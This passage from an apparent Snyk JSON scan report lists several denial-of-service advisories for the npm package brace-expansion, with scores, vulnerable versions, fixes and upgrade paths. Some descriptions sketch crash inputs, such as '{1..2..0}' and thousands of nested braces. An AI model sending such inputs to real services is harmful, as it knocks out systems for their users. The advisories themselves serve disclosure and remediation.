"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
